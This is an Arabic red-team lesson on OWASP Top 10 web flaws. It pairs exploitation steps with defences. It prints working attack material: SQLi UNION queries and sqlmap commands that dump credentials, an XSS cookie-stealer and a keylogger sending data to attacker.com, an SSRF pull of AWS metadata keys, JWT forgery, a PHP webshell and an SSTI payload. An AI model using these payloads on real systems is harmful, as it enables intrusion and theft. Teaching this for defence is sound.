الفرق الحمراء — الهجومخبير120mL04

الثغرات الجوهرية في تطبيقات الويب

أهم 10 ثغرات بحسب تصنيف OWASP

#SQLi#XSS#SSRF#IDOR#JWT

OWASP Top 10 — خريطة ثغرات الويب

أكثر من 90% من اختراقات الويب تنتمي إلى هذه العائلات. سنشرح كل واحدة: كيف تُستغل، كيف تُكتشف، كيف تُمنع.

1. SQL Injection — حقن قواعد البيانات

تشبيه — شرح مبسط
تخيّل أنك تطلب من النادل: «أحضر لي طبقاً اسمه: كباب». يذهب فيحضره. لكن لو قلت: «كباب، و أيضاً افتح الخزينة»، و كان النادل غبياً ينفّذ كل ما تقول حرفياً، ستحصل على الكباب و على النقود! هذا بالضبط ما يفعله الـ SQLi.

الكود الضعيف

PHP — vulnerable
$id = $_GET['id'];
$q  = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمين

الاستغلال خطوة بخطوة

01
اكتشاف الحقن
أضف علامة اقتباس ' في كل بارامتر و راقب الخطأ.
02
تحديد عدد الأعمدة
payload
?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+   ← خطأ يعني الجدول فيه 4 أعمدة
03
استخراج البيانات بـ UNION
payload
?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+
04
الأتمتة بـ sqlmap
$ sqlmap -u 'https://target.gov/p?id=1' --batch --dbs
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb --tables
$ sqlmap -u 'https://target.gov/p?id=1' -D appdb -T users --dump
الدفاع
  1. Prepared Statements دائماً — لا concatenation أبداً.
  2. ORM آمن مع parameterized queries.
  3. صلاحيات قاعدة بيانات محدودة (least privilege).
  4. WAF + قواعد Sigma لكشف بصمات sqlmap.

2. Cross-Site Scripting (XSS)

تشبيه — شرح مبسط
تخيّل أنك أرسلت رسالة في صندوق تعليقات و الموقع يعرضها كما هي بدون تنظيف. لو كتبت داخل التعليق كوداً، سيتم تنفيذه على متصفح كل من يقرأ التعليق!

أنواعها

  • Reflected XSS — تنعكس من رابط مباشرة.
  • Stored XSS — تُحفظ في قاعدة البيانات (الأخطر).
  • DOM-based XSS — في الـ JavaScript أمام المتصفح.
payloads
<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>

سرقة الجلسة كاملة

JS — keylogger via stored XSS
(function(){
  let buf="";
  document.addEventListener('keydown', e => {
    buf += e.key;
    if(buf.length>40){
      navigator.sendBeacon('https://attacker.com/k', buf);
      buf="";
    }
  });
})();
الدفاع
Output encoding حسب السياق + CSP صارم (script-src 'self') + HttpOnly + Secure + SameSite على الكوكيز.

3. SSRF — Server-Side Request Forgery

تشبيه — شرح مبسط
تطلب من السيرفر أن يفتح رابطاً بدلاً منك. لو لم يتحقق من الرابط، تطلب منه يفتح عناوين داخلية ممنوعة عليك مثل localhost أو الـ cloud metadata.

سيناريو خطير على AWS

payload
# الموقع يقبل URL لتحميل صورة
POST /api/import-image  body: {"url":"http://example.com/x.png"}

# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}

# النتيجة: مفاتيح AWS مؤقتة كاملة!
الدفاع
  • فرض IMDSv2 دائماً (يتطلب توكن PUT).
  • Egress allow-list من السيرفر.
  • منع IPات الخاصة (10.0.0.0/8, 169.254.0.0/16, ::1).
  • شبكات VPC endpoints بدلاً من الإنترنت.

4. كسر الـ Authentication و JWT

هجمات شائعة

  • Credential stuffing — تجربة كلمات سُرّبت سابقاً.
  • Password spraying — كلمة شائعة على ألف حساب.
  • كسر JWT — تبديل الـ algorithm إلى none، أو كسر السر بـ hashcat.
JWT attacks
# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.

# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt

# 3) algorithm confusion RS256 → HS256

5. IDOR — Insecure Direct Object Reference

تغيّر رقم في الـ URL فترى بيانات شخص آخر.

HTTP
GET /api/invoices/1042  ← فاتورتك
GET /api/invoices/1043  ← فاتورة شخص آخر! (لا يوجد فحص ملكية)
الدفاع
فحص الملكية في كل طلب: «هل المستخدم الحالي يملك هذا الـ resource؟» استخدم معرّفات غير قابلة للتنبؤ (UUIDv4).

6. File Upload + RCE

رفع ملف .php أو .jsp متخفّياً (shell.php.jpg) إلى مجلد قابل للتنفيذ = اختراق كامل للسيرفر.

PHP webshell minimal
<?php system($_GET['c']); ?>
الدفاع
تحقق من Content-Type + توقيع الملف الفعلي + خزّن خارج مسار الويب + قدّم الملفات عبر CDN فقط.

7. Deserialization & Template Injection

أخطر فئة: تنفيذ كود مباشر عند تمرير payload مصنوع إلى دالة unserialize / pickle.loads / Java readObject، أو إلى محرك قوالب يقبل تعابير (Jinja2, Twig, Freemarker).

SSTI Jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

الأدوات الأساسية للويب

  • Burp Suite — الـ proxy الذي تعتمد عليه يومياً.
  • OWASP ZAP — بديل مفتوح المصدر.
  • Caido — خفيف و حديث.
  • sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.